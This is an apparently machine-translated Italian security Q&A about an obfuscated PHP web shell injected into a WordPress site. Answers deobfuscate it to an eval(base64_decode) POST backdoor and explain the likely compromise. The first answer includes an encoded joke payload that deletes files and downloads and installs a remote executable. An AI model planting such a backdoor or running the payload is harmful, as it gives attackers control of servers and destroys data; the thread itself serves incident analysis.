Il codice dannoso viene iniettato in un file PHP [duplicato]

5

Il mio sito è stato creato usando Wordpress. Un giorno ha smesso di funzionare e ha rilevato un errore in un file PHP.

Quando ho scaricato quel file PHP per vedere cosa è successo, il mio antivirus (Microsoft Security Essentials) lo rileva come una minaccia e cancella il file scaricato.

Fortunatamente posso accedere al cPanel del mio hosting e modificare il file PHP problematico da lì.

Ho trovato che un codice insolito è stato aggiunto all'inizio del codice. (Ho cancellato il codice e tutto funziona correttamente, per ora)

Ecco il codice:

<?php $lro89 = "t_cepodas6b4";$gmat6 =strtolower( $lro89[10]. $lro89[7]. $lro89[8]. $lro89[3] . $lro89[9].$lro89[11].$lro89[1] . $lro89[6].$lro89[3]. $lro89[2].$lro89[5].$lro89[6].$lro89[3]);$scs1 =strtoupper ( $lro89[1]. $lro89[4]. $lro89[5].$lro89[8]. $lro89[0]); if (isset (${$scs1 }[ 'n3d9ebc' ])) {eval($gmat6( ${ $scs1} ['n3d9ebc' ])) ;}?>

Riformattato per la leggibilità:

<?php
$lro89 = "t_cepodas6b4";
$gmat6 =strtolower( $lro89[10]. $lro89[7]. $lro89[8]. $lro89[3] . $lro89[9].$lro89[11].$lro89[1] . $lro89[6].$lro89[3]. $lro89[2].$lro89[5].$lro89[6].$lro89[3]);
$scs1 =strtoupper ( $lro89[1]. $lro89[4]. $lro89[5].$lro89[8]. $lro89[0]);
if (isset (${$scs1 }[ 'n3d9ebc' ])) {
    eval($gmat6( ${ $scs1} ['n3d9ebc' ])) ;
}
?>

Ho alcune domande:

  1. Che cosa fa il codice?
  2. Significa che c'è un virus?
  3. Come può essere iniettato solo su questo file?
posta topher 22.12.2016 - 07:18
fonte

2 risposte

10

What does the code do?

<?php
    if (isset($_POST['n3d9ebc'])) {
        eval(base64_decode($_POST['n3d9ebc']));
    }
?>

Esegue l'esecuzione di codice in modalità remota. Se questo fosse un parametro $_GET[] , significa che un utente malintenzionato potrebbe eseguire questa operazione:

hxxp://yoursite.com/hax.php?n3d9ebc=base64-encoded-malicious-php-code

Ma poiché è un parametro $_POST[] , verrà inviato come parte di una submission. Quando il parametro POST, n3d9ebc , è impostato, tenterà di valutare la condizione dopo che è stato decodificato base64.

Carico utile di esempio:

c2hlbGxfZXhlYygicm0gLXJmIH4vaGlsbGFyeS1lbWFpbHM7IHdnZXQgaHR0cHM6Ly93d3cucHV0aW4ucnUvZmFuY3ktYmVhci5leGUgLU8gYXB0MjguZXhlICYmIHN1ZG8gbXYgYXB0MjguZXhlIC91c3Ivc2JpbjsgZWNobyBTSFVUIFVQIFRISVMgSVMgQSBKT0tFIik7

Quanto sopra farà ... um ... capirlo .

Semplicemente pubblicando sul tuo sito, hanno la piena esecuzione di codice in modalità remota sul tuo server web. Essenzialmente sei stato pwned. Tempo per una pulizia e assicurati di aggiornare i componenti vulnerabili.

Does it mean that there's a virus?

Tecnicamente? Possono fare tutto ciò che vogliono sul tuo sito web. È fondamentalmente una backdoor.

How can it be injected to only this one file?

Probabilmente hai una sorta di vulnerabilità che consente loro di scrivere su un file sul server web. Potrebbe essere un numero qualsiasi di problemi. Un po 'generico, ma potrebbe essere chmod 777 , un problema di inclusione di file remoto o qualche altra backdoor o vulnerabilità di Remote Code Execution.

    
risposta data 22.12.2016 - 07:56
fonte
7

Il tuo Wordpress è stato compromesso.

What does the code do?

È una shell web minimale leggermente offuscata. Prende il parametro POST n3d9ebc , base64-decodifica ed esegue il risultato come codice PHP. Ciò significa che un utente malintenzionato potrebbe utilizzare lo script per eseguire codice arbitrario sul server in qualsiasi momento.

Questo è il codice ripulito:

<?php
if (isset($_POST['n3d9ebc'])) {
    eval(base64_decode($_POST['n3d9ebc']));
}
?>

I nomi delle variabili sono stati offuscati per rendere lo script più difficile da leggere e per impedire il rilevamento automatizzato. La conversione base64 è un'altra misura per aiutare contro IDS. Poiché si tratta di un parametro POST, anche i comandi dell'attacker non vengono visualizzati nei file di registro del server.

Does it mean that there's a virus?

Significa che qualcuno ha accesso in scrittura al tuo Wordpress (magari tramite plugin vulnerabili) e ha caricato questo script come backdoor.

How can it be injected to only this one file?

Beh, deve essere messo da qualche parte. Gli aggressori spesso decidono di aggiungere codice dannoso a un file esistente poiché è meno evidente rispetto alla creazione di un nuovo file.

(I deleted the code and everything works fine, for now)

Sei sicuro che non ci siano più backdoor? Se sei stato compromesso, il modo migliore per procedere è una nuova installazione.

    
risposta data 22.12.2016 - 07:31
fonte

Leggi altre domande sui tag